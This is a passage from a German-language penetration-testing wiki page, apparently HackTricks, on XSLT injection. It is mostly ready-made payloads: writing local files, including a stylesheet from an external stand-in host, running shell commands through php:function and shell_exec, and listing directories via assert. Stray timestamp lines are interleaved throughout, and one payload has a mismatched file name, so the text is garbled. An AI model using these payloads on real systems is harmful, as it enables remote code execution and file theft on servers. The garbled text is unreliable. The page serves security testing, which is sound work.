Sobald der Angreifer eine Schwachstelle identifiziert hat, kann er den bösartigen Code in die XSLT-Datei einfügen. Dieser Code wird dann vom Xalan-J-Prozessor interpretiert und ausgeführt, wodurch der Angreifer die Kontrolle über die Anwendung erhält.
Es gibt verschiedene Arten von serverseitigen Injektionen, die mit Xalan-J durchgeführt werden können, darunter SQL-Injektionen, Remote-Code-Ausführung und Dateilecks. Jede dieser Techniken ermöglicht es dem Angreifer, auf unterschiedliche Weise auf vertrauliche Informationen zuzugreifen oder die Anwendung zu manipulieren.
Um sich vor Xalan-J-Erweiterungen zu schützen, sollten Entwickler sicherstellen, dass alle Eingaben ordnungsgemäß validiert und bereinigt werden. Darüber hinaus sollten sie regelmäßig nach Sicherheitslücken in ihrer Anwendung suchen und diese schnellstmöglich beheben, um potenzielle Angriffe zu verhindern.
2024-02-06 03:10:38 +00:00
```xml
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>
```
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, Dateien in das PDF zu schreiben
2024-02-10 15:36:32 +00:00
## Externes XSL einbinden
2024-02-06 03:10:38 +00:00
```xml
<xsl:include href="http://extenal.web/external.xsl"/>
```
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
```
2024-02-10 15:36:32 +00:00
## Code ausführen
2022-10-03 13:43:01 +00:00
### **php:function**
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
```
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>
```
2024-02-10 15:36:32 +00:00
Führen Sie Code mit anderen Frameworks in der PDF aus
2024-02-10 15:36:32 +00:00
### **Weitere Sprachen**
2024-02-10 15:36:32 +00:00
**Auf dieser Seite finden Sie Beispiele für RCE in anderen Sprachen:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
2024-02-10 15:36:32 +00:00
## **Zugriff auf PHP-Static-Funktionen von Klassen**
2021-06-07 12:06:44 +00:00
2024-02-10 15:36:32 +00:00
Die folgende Funktion ruft die statische Methode `stringToUrl` der Klasse XSL auf:
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 12:06:44 +00:00
<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>
```
2024-02-10 15:36:32 +00:00
(Beispiel von [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))
2021-06-07 12:06:44 +00:00
2024-02-10 15:36:32 +00:00
## Weitere Payloads
* Überprüfen Sie [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
* Überprüfen Sie [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
2024-02-06 03:10:38 +00:00
2024-02-10 15:36:32 +00:00
## **Brute-Force-Erkennungsliste**
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
2021-06-27 21:56:13 +00:00
2024-02-10 15:36:32 +00:00
## **Referenzen**
2022-10-03 13:43:01 +00:00
* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Arbeiten Sie in einem **Cybersecurity-Unternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS oder HackTricks als PDF-Datei** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das [hacktricks repo](https://github.com/carlospolop/hacktricks) und das [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** einreichen.
2022-04-28 16:01:33 +00:00
</details>